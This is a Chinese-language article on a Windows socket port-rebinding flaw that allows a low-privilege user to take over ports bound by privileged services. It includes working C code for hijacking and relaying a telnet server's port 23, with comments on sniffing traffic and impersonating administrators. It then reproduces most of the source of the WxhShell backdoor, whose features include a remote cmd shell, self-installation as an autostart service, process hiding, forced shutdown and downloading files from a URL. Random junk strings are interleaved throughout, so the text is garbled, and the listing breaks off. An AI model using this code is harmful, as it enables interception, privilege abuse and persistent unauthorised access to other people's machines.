在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zEYQZywc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
iKG," sCE%./h] saddr.sin_family = AF_INET;
Em(Okr,0 #?'@?0<6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D&G^|: G )C0d*T0i bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I/go$@E" >tm4Rg~y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
huvn_ '~zi~Q7M 这意味着什么?意味着可以进行如下的攻击:
5RyxVC0< XT1P.
w[aA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}H|'W[Q. e'.CIspN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D/+l$aBz WG
+] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9V>C %I "G@(Cb*+T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Ezr q2/~Q ZtY?X- 4_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
AOef1^S= ahFK^ #s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
HQMug (,b\"Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X XxH<E$p <,Mf[R2N> #include
6VLo4bq 5
#include
H'Jz:6 #include
tTT
:r),}$ #include
. Ctd$ DWORD WINAPI ClientThread(LPVOID lpParam);
J+}z*/)|# int main()
,\N4tG1\ {
()5X<=i WORD wVersionRequested;
N_d{E/ DWORD ret;
,P=.x% WSADATA wsaData;
jwSPLq% BOOL val;
q>.C5t'Qx SOCKADDR_IN saddr;
/4|_A {m{m SOCKADDR_IN scaddr;
p!DOc8a.\e int err;
|XV`A)=f SOCKET s;
TeFi[1 SOCKET sc;
4j(`koX_ int caddsize;
M>xT\ HANDLE mt;
G++<r7;x DWORD tid;
tJmy}.t1 wVersionRequested = MAKEWORD( 2, 2 );
`26.+>Z7 err = WSAStartup( wVersionRequested, &wsaData );
JL>DRIR%NV if ( err != 0 ) {
59i2*<k printf("error!WSAStartup failed!\n");
8C@6
b4VK return -1;
9FPqd8(]*V }
204"\mv saddr.sin_family = AF_INET;
VCwC$ts ZrB(!L~7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8U}+9 P)LOAe1' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,C|{_4 saddr.sin_port = htons(23);
t+\<i8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mi\-
9- {
0.2stBw printf("error!socket failed!\n");
l
dp$jrNLr return -1;
`gyke2n }
bh#6yvpMR val = TRUE;
.{|SKhXk //SO_REUSEADDR选项就是可以实现端口重绑定的
RxNLn/?d@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|<O^M q {
7P]i|Q{ printf("error!setsockopt failed!\n");
h
B_p return -1;
eu":\ks }
'-cayG //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U@D\+T0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J _q //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
xM@s`s|n Y*{5'q+2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
DLD9 {
,_s.amL3O{ ret=GetLastError();
u%Mo.<PI printf("error!bind failed!\n");
Q)lD2 return -1;
H328I}7 }
d_ x
jW listen(s,2);
;=k{[g 'gv while(1)
RCoDdtMo {
|_QpB?b caddsize = sizeof(scaddr);
#_UP}G$ //接受连接请求
?M6)O?[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o6:bmKWE if(sc!=INVALID_SOCKET)
_+H $Pa}? {
(bpRX$is mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
0)7v_|z if(mt==NULL)
2aX$7E? {
` N
R,8F printf("Thread Creat Failed!\n");
N eP break;
p=#/H,2 }
&9z`AY]> }
h9!4\{V;h CloseHandle(mt);
qnnRS }
"5'eiYms closesocket(s);
HKJ^6|' WSACleanup();
~)[pL(4 return 0;
[>\e@ = }
<a&xhG} DWORD WINAPI ClientThread(LPVOID lpParam)
5wha _Yet {
33wVP}e5 SOCKET ss = (SOCKET)lpParam;
^)a:DKL SOCKET sc;
7i'clB9! unsigned char buf[4096];
>n(dyU @ SOCKADDR_IN saddr;
%M/L/_d long num;
w=: c7Y+ DWORD val;
r`.Bj0 DWORD ret;
>j*0fb!:] //如果是隐藏端口应用的话,可以在此处加一些判断
F9d6#~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%s9*?6 saddr.sin_family = AF_INET;
13)6p|6x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9ZR"Lo>3e+ saddr.sin_port = htons(23);
O '`|(L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)8'v@8;- {
3Zs0W{OxU printf("error!socket failed!\n");
y 4aT-^C' return -1;
\2#K { }
59v=\; UI val = 100;
RlU ?F
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xj&~>&U){; {
DMs8B&Y= ret = GetLastError();
2
e#"JZ= return -1;
gB+CM?
LKq }
Eza^Tbq%j? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$: 1/`m19 {
~X %cbFom= ret = GetLastError();
(~! @Uz5 return -1;
c,ct=m.|6A }
t6kLZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
:_2:Fh.}3~ {
zlTLp-^Y printf("error!socket connect failed!\n");
<{hB&4oL closesocket(sc);
7}~nQl2 closesocket(ss);
B<h4ZK% return -1;
VkJTcC:1 }
z|Xt'?9&n while(1)
G;A {
@{Fa=".Ch //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
K|6}g7&X //如果是嗅探内容的话,可以再此处进行内容分析和记录
s>WqVuXmn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V:+vB " num = recv(ss,buf,4096,0);
6W7,EIf if(num>0)
J
p%J02 send(sc,buf,num,0);
v<g#/X8 else if(num==0)
RU=g|TL break;
f(K1,L:&7 num = recv(sc,buf,4096,0);
E5c)\
D if(num>0)
{l_D+B; send(ss,buf,num,0);
P9Eh,j0_ else if(num==0)
zJ ;]z0O break;
%?qzP' }
FT}^Fi7 closesocket(ss);
0tMzVxS closesocket(sc);
4j i#Q return 0 ;
98_os2` }
-(}N-yu d)XT> & ;;U&mhz` ==========================================================
"/UPq6 BP4vOZ0$ 下边附上一个代码,,WXhSHELL
?9 `T_, `$3P@SO" ==========================================================
9{A*[.XK] 6G-XZko~a #include "stdafx.h"
ZC^?ng y4!fu<[i #include <stdio.h>
{c&9}u$e #include <string.h>
}:0HM8B7! #include <windows.h>
0{?%"t\/f #include <winsock2.h>
(ueH@A"9; #include <winsvc.h>
3z8zZ1uzU #include <urlmon.h>
k<"N^+GSz :b#5cMUe #pragma comment (lib, "Ws2_32.lib")
kaDn=
={YM #pragma comment (lib, "urlmon.lib")
F{}:e QD
)oS~ish #define MAX_USER 100 // 最大客户端连接数
U?(,Z$:N #define BUF_SOCK 200 // sock buffer
$ WWi2cI; #define KEY_BUFF 255 // 输入 buffer
Vr&v:8:wb `X`|]mWj #define REBOOT 0 // 重启
#e9XU:9@g #define SHUTDOWN 1 // 关机
1fF\k#BE-% #`"B
YFV[E #define DEF_PORT 5000 // 监听端口
'_g*I mj y+_ #define REG_LEN 16 // 注册表键长度
?/p."N:]H #define SVC_LEN 80 // NT服务名长度
m :]F&s 2TaHWw<A // 从dll定义API
fAvB!e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<R#:K7>O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]08~bL1Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x/92],.Mz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
['0^gN$:e
'FN3r // wxhshell配置信息
uQW d1> struct WSCFG {
jg3['hTJT int ws_port; // 监听端口
D/WzYc2h] char ws_passstr[REG_LEN]; // 口令
W8!8/IZbN int ws_autoins; // 安装标记, 1=yes 0=no
KV'-^\ char ws_regname[REG_LEN]; // 注册表键名
HYg7B char ws_svcname[REG_LEN]; // 服务名
_LZ 442 char ws_svcdisp[SVC_LEN]; // 服务显示名
@{8805Dp char ws_svcdesc[SVC_LEN]; // 服务描述信息
h3A|nd>\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
sZU
Ao& int ws_downexe; // 下载执行标记, 1=yes 0=no
zPb"6%1B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^#2Y4[@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
G@S'_ #DHeEE };
/s`xPxvt DRi/< // default Wxhshell configuration
f P1fm struct WSCFG wscfg={DEF_PORT,
wijY]$ "xuhuanlingzhe",
O,KlZf_B 1,
. J*2J(T, "Wxhshell",
OB~74}3; "Wxhshell",
aeF^&F0 "WxhShell Service",
F?TmOa0 "Wrsky Windows CmdShell Service",
Bk~M ^AK@~ "Please Input Your Password: ",
QgX[?2 1,
/?QBMI "
http://www.wrsky.com/wxhshell.exe",
.w]S!=h "Wxhshell.exe"
8f|+045E@ };
$d7{ q3K&1 H=9\B} // 消息定义模块
GpM_Qp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
b~FmX char *msg_ws_prompt="\n\r? for help\n\r#>";
6@ )bZ| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
\(ZOt.3!J char *msg_ws_ext="\n\rExit.";
r7p>`>_Q\ char *msg_ws_end="\n\rQuit.";
yh Ymbu char *msg_ws_boot="\n\rReboot...";
Y~M H char *msg_ws_poff="\n\rShutdown...";
_Msaub!N char *msg_ws_down="\n\rSave to ";
RpY#_\^hI :dzamHbX9 char *msg_ws_err="\n\rErr!";
zHCz[jlrMq char *msg_ws_ok="\n\rOK!";
;q$O^r~ Bhrp"l
+| char ExeFile[MAX_PATH];
[HENk34 int nUser = 0;
yS-owtVCGF HANDLE handles[MAX_USER];
\D
#NO int OsIsNt;
D}Lx9cL 5 ERycC y SERVICE_STATUS serviceStatus;
+P <Lo I SERVICE_STATUS_HANDLE hServiceStatusHandle;
8~|PZ,oZ $Mp#tH28 // 函数声明
D?Q{&6p int Install(void);
[e'Ts#($A int Uninstall(void);
u|D_"q~+6 int DownloadFile(char *sURL, SOCKET wsh);
~(`iR xK int Boot(int flag);
*^u5?{$l( void HideProc(void);
QY<2i-A int GetOsVer(void);
6]^}GyM! int Wxhshell(SOCKET wsl);
iB 5 Se void TalkWithClient(void *cs);
dLm~]V3 int CmdShell(SOCKET sock);
#SRGVa`x int StartFromService(void);
ZWSYh>" int StartWxhshell(LPSTR lpCmdLine);
^1S(6'a# \6xVIQ& 0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
d1#;>MiU VOID WINAPI NTServiceHandler( DWORD fdwControl );
eJ#q! < DO$jX
4 // 数据结构和表定义
X&6p_Lo SERVICE_TABLE_ENTRY DispatchTable[] =
fgP_NYfOj {
MI@id {wscfg.ws_svcname, NTServiceMain},
DxT8;`I% {NULL, NULL}
,!3G };
aQaO.K2 Nd*zSsVlq // 自我安装
oToUpkAI int Install(void)
g#1_`gK {
;X !sTs char svExeFile[MAX_PATH];
{ls$#a+d HKEY key;
BXVmt!S5F strcpy(svExeFile,ExeFile);
Z*QsDS ?*a:f"vQ // 如果是win9x系统,修改注册表设为自启动
=$IjN v(? if(!OsIsNt) {
^e>`ob if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0*q&) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#!KbqRt RegCloseKey(key);
Uax- z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RJ1Q.o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&<-Sxjj RegCloseKey(key);
Dg4?,{c9W return 0;
Ps(3X@ }
y iE[^2Pv }
' D+h_*H }
@kn0f` else {
"d>{hP z,[4BM // 如果是NT以上系统,安装为系统服务
G*ZHLLO4S\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[s"3g\L'; if (schSCManager!=0)
abUvU26t {
&xMR{: SC_HANDLE schService = CreateService
+.whEw(i (
h #Od tc1) schSCManager,
{3]g3mj wscfg.ws_svcname,
ngj=w;7~+ wscfg.ws_svcdisp,
*<#jr SERVICE_ALL_ACCESS,
u{yENZ^P SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Pfu2=2Ra SERVICE_AUTO_START,
$R%xeih1fz SERVICE_ERROR_NORMAL,
N&U=5c`Q' svExeFile,
Wo2TU! NULL,
|\%[e@u NULL,
z;@;jQ7 NULL,
q
[Rqy !, NULL,
s\,F6c NULL
mS5'q q;t );
-$J\BkI if (schService!=0)
VG^*?62 {
t6BggO"_u CloseServiceHandle(schService);
&WE| 9 CloseServiceHandle(schSCManager);
OACRw%J:X{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}20
Q`? strcat(svExeFile,wscfg.ws_svcname);
Lz's!b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
o8.KakrPP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/Pv
d[oF RegCloseKey(key);
I3]-$ return 0;
Nl,M9 }
B*p`e1 }
T_|%nF-+ CloseServiceHandle(schSCManager);
"<uaG?: }
^F2OTz4n }
a3D''Ra JoeU J3N return 1;
@zo}#.g }
&HBqweI jN
9|q // 自我卸载
b5K6F:D22 int Uninstall(void)
FeOo;|a {
HYm
| HKEY key;
DT *'r; QP/%+[E. if(!OsIsNt) {
VQ wr8jXye if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gq9IJ RegDeleteValue(key,wscfg.ws_regname);
,p2BB"^_i RegCloseKey(key);
D+edTAQ8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZI.;7G@| RegDeleteValue(key,wscfg.ws_regname);
!kCMw%[ RegCloseKey(key);
> SRUC return 0;
-7jP'l=h }
,Vb;2 }
#=@H-ZuD7 }
XfY~q~f8 else {
_
nFsC GjTj..G/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
OSP#FjH if (schSCManager!=0)
qkQ_# {
hLF+_{\C| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=2+';Xk\ if (schService!=0)
DXX(q k)6 {
F>N3GPRl if(DeleteService(schService)!=0) {
fDe4 [QQ8 CloseServiceHandle(schService);
<3?T^/8 CloseServiceHandle(schSCManager);
"mT95x\NA\ return 0;
ifA=qn0=} }
[t)omPy<c CloseServiceHandle(schService);
epz'GN]V }
Hgu:*iYA CloseServiceHandle(schSCManager);
r(UEPGu|~l }
`v2]Jk< }
1X-Ku GaD @q=l H
*= return 1;
2 uuI_9 "^ }
do3 BI4Q `D2wlyqO6 // 从指定url下载文件
a2:Tu int DownloadFile(char *sURL, SOCKET wsh)
lo }[o0X {
aFkxR\x
6% HRESULT hr;
XD1x*# char seps[]= "/";
Y>OL2g char *token;
w8~J5XS char *file;
[w iI char myURL[MAX_PATH];
>)Ih[0~M char myFILE[MAX_PATH];
8mjP2 s3G\L<~mB strcpy(myURL,sURL);
qF9rY)ifm token=strtok(myURL,seps);
c[=%v]j:u while(token!=NULL)
F~Kd5-I@ {
, N:'Z file=token;
E\M{/.4 4 token=strtok(NULL,seps);
OtopA) }
WIwbf |\ 2>{_O?UN GetCurrentDirectory(MAX_PATH,myFILE);
X^3 0a*sj strcat(myFILE, "\\");
)g4oUZDF strcat(myFILE, file);
]Ll< send(wsh,myFILE,strlen(myFILE),0);
q.(p.uD send(wsh,"...",3,0);
;OYwZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
"Y&+J@] if(hr==S_OK)
Y^)VHE] return 0;
Z$R2Z$f else
D\Y)E#%, return 1;
v9~Hl TJtW?c7 }
FV/xp}nz zIbl[[M& // 系统电源模块
!2x"'o int Boot(int flag)
-
Pz
)O@ ; {
PF .sM( HANDLE hToken;
Q}jbk9gM5 TOKEN_PRIVILEGES tkp;
a@@!Eg
A V>P\yr? if(OsIsNt) {
hoC}@8_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
DT&[W<oN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?xf59mY7 tkp.PrivilegeCount = 1;
Y=G *[G# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*9^CgLF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AW'tZF" if(flag==REBOOT) {
c: *wev if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
EpGe'S return 0;
kyJv,!}; }
)ymF:]QC else {
s)=L6t^a6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9[N'HpQ3 return 0;
^OG^%
x" }
Vm8;{S q }
Ao96[2U6 else {
6@2p@eYo if(flag==REBOOT) {
r"fu{4aX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K=sQ_j.&Z return 0;
7k6rhf7H }
c%~'[W04\ else {
qe(X5?#; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Op3 IL/ return 0;
l%Sz6 }
any\}
}
N5/TV%u >K\ 79<x| return 1;
>mF`XbS }
=X&h5;x' V2/+SvB2 // win9x进程隐藏模块
6lT'%ho}B void HideProc(void)
GWE`'V {
hQGZrZK# P>N\q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;JL@V}L, if ( hKernel != NULL )
aDZLabRu {
A#1y>k pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\((>i7C ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^J%
w[FE FreeLibrary(hKernel);
#UND'c(5 }
<2cq 0*$ l}Xmm^@) return;
[JAd1%$3 }
h]EXD N[pk@M\vX // 获取操作系统版本
tW=0AtZl] int GetOsVer(void)
Kg](kP {
95]%j\ OSVERSIONINFO winfo;
X<9DE!/) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
q=nMZVVlF( GetVersionEx(&winfo);
7DYD+N+T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
h y[_ return 1;
DBmcvC else
*R~oA` return 0;
*fd` .} }
E"G._<3J8 -nk %He // 客户端句柄模块
tb=L+WAIw int Wxhshell(SOCKET wsl)
D[-Ct {
+H<%)Lk J SOCKET wsh;
T!a8c<'V struct sockaddr_in client;
+^69>L2V DWORD myID;
5R ec}H RmNF]"3% while(nUser<MAX_USER)
vY;Lc {
JR<R8+@g_ int nSize=sizeof(client);
|u}sX5/q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Cn`%
*w if(wsh==INVALID_SOCKET) return 1;
4x C0Aw *E.
2R{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b6/:reH{ if(handles[nUser]==0)
I(7gmCV closesocket(wsh);
shn-Es* else
+?@qux! nUser++;
v<c Hx/ }
*(k=!`4( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j_H
T / 9;Pbxn return 0;
rRt<kTk!U }
!< X_XA ?,8b-U#A1 // 关闭 socket
ah<f&2f void CloseIt(SOCKET wsh)
11-uJVO~* {
^y6CV4T+ closesocket(wsh);
:<(<tz7dj nUser--;
&GZR-/ ExitThread(0);
O~Fk0}- }
:YI>AaYWDO mn4;$1~e>H // 客户端请求句柄
ut,"[+J void TalkWithClient(void *cs)
L%8"d6 {
plIx""a^h 'K"*4B^3 SOCKET wsh=(SOCKET)cs;
<A&R%5Vs char pwd[SVC_LEN];
*oWzH_ char cmd[KEY_BUFF];
=N0cz% char chr[1];
=~S
int i,j;
o{Ep/O` uJ y@ while (nUser < MAX_USER) {
$Yxy(7d7w d!X?R} if(wscfg.ws_passstr) {
CFA> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R"=M5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|V7a26h //ZeroMemory(pwd,KEY_BUFF);
(1HN, iJy i=0;
0zxeA+U while(i<SVC_LEN) {
MtB:H*pM ;Dgp
!*v= // 设置超时
lyeoSd1AN fd_set FdRead;
Y'~&%|9+T struct timeval TimeOut;
c,fedH; FD_ZERO(&FdRead);
[aC9vEso! FD_SET(wsh,&FdRead);
atAA[~ TimeOut.tv_sec=8;
`->k7a0<b1 TimeOut.tv_usec=0;
`j$d(+Gv
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xr2:bu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}<S2W\,G #lC{R^SL if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
-XyuA:pxx pwd
=chr[0]; H}~^,B2;
if(chr[0]==0xd || chr[0]==0xa) { OE"Bb
pwd=0; *Wa u7
break; M:$nL
} ]>,|v,i
=
i++; ]z%9Q8q'
} 1mV0AE538
6;*(6$;
// 如果是非法用户,关闭 socket TExlGAHo+O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2fk
} OY#_0p)i
z~5'p(|@f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pk4&-iu9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jp#cFUa t
`QF|>
N
while(1) { gD\}CxtG
DIAP2LR ?
ZeroMemory(cmd,KEY_BUFF); i5" q1dRQ
iD`XD\.?
// 自动支持客户端 telnet标准 mTgn}rXk
j=0; @$R a
while(j<KEY_BUFF) { ;$Jvqq|T
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); . gJKr
cmd[j]=chr[0]; 4#9-Z6kOk
if(chr[0]==0xa || chr[0]==0xd) { jg8P4s
cmd[j]=0; n58jB:XR(
break; SAJ=)h~
} FM)*>ax{
j++; {;/o4[jlg
} )]R?v,9*D
tK
H!xit
// 下载文件 Zv\b`Cf}
if(strstr(cmd,"http://")) { "!?bC#d#(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +bnw,B><
if(DownloadFile(cmd,wsh)) AlxS?f2w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OEW,[d
else H/&Q,9sU21
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [
_$$P*
} >xKRU5
else { t@n (a
U'G`Q0n
switch(cmd[0]) { QEKFuY<E+
bl<7[J.
// 帮助 z;fSd
case '?': { .
6dT5x8u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); am3E7u/
break; A~V\r<N
j
} '[^2uQc
// 安装 Q^rW^d
case 'i': { EYG E#C;
d
if(Install()) CK</2 w+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nW_
else eHe /w9`$R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &:*+p-!2<
break; %#a%Luq
} Hrnql
// 卸载 j.}V~Sp*
case 'r': { Nk4_!
if(Uninstall()) \k_3IP?o=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ei20@
else fZfiiE~7J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5qEdN
break; F`.7_D
} oZ[ w
// 显示 wxhshell 所在路径 55b |zf
case 'p': { 2*YXm>|1
char svExeFile[MAX_PATH]; pNFIO
t:(
strcpy(svExeFile,"\n\r"); jt--w"|-r
strcat(svExeFile,ExeFile); -RQQ|:O$
send(wsh,svExeFile,strlen(svExeFile),0); P;LZ!I
break; `h!&->
} @F^L4 N':
// 重启 #.YcIR)
case 'b': { );DIrA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `kSCH; mwP
if(Boot(REBOOT)) eb@Lh!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z{L;)U B^
else { zEfD{I
closesocket(wsh); m0\}Cc
ExitThread(0); vPNZFi-(
} =Gz>ZWF
break; [frD
L)
} R} 9jgB
// 关机 2z# @:Q
case 'd': { /exl9Ilt]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&c1iK\E8
if(Boot(SHUTDOWN)) Bqlc+d:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Pmk`^T
else { )#~fS28j
closesocket(wsh); !!%nl_I(
ExitThread(0); m(:qZW
} Ec*7n6~9
break; O>5 u5n
} &"%|`gE
// 获取shell 1/+r?F3
case 's': { R6mJFE*6T9
CmdShell(wsh); r~_ /Jj
closesocket(wsh); an[~%vxw}
ExitThread(0); < DZ76
break; EoR6Rx@Z
} vcU\xk")
// 退出 6XK`=ss?
case 'x': { %P,^}h7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .OS?^\
CloseIt(wsh); /~cL L
break; C,vc
aC?
} N:jiZ)
// 离开 6FIoWG"x
case 'q': { Rbc2g"]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); FXEfD"
closesocket(wsh); DK_v{R
WSACleanup(); g4SYG)'R+
exit(1); Yf)|ws?!
break; k:)u7A+
} LEnP"o9ZW
} L9?/ -@M
} 2X c
E(kb!Rz
// 提示信息 p<fgUVR
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7"NJraQ6
} ^_h7!=W
} wK`ieHmp
R6Z}/ m
return; Is6 _
} ::R00gd
[pFu
]^X
// shell模块句柄 xp8f
int CmdShell(SOCKET sock) seU^IC<
{ 'Qq_Xn8
STARTUPINFO si; l%U_iqL&
ZeroMemory(&si,sizeof(si)); %R*vSRG/U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9Y@?xn.\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lF"(|n"R
PROCESS_INFORMATION ProcessInfo; ~nc([%!=
char cmdline[]="cmd"; J}_Dpb [L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,3--ERf
return 0; , !%R5*?=D
} 8Y~=\(5>
:tqm2t
// 自身启动模式 {r2|fgi
int StartFromService(void) zpr@!76
{ C9Z\G 3
typedef struct %x8`fm
{ <eFAI}=s
DWORD ExitStatus; {AL9o2
DWORD PebBaseAddress; akCo+ @
DWORD AffinityMask; hd
;S>K/C
DWORD BasePriority; ck_fEF
ULONG UniqueProcessId; b
hr E
ULONG InheritedFromUniqueProcessId; ?(ls<&s{w
} PROCESS_BASIC_INFORMATION; grxl{uIC8
P:,
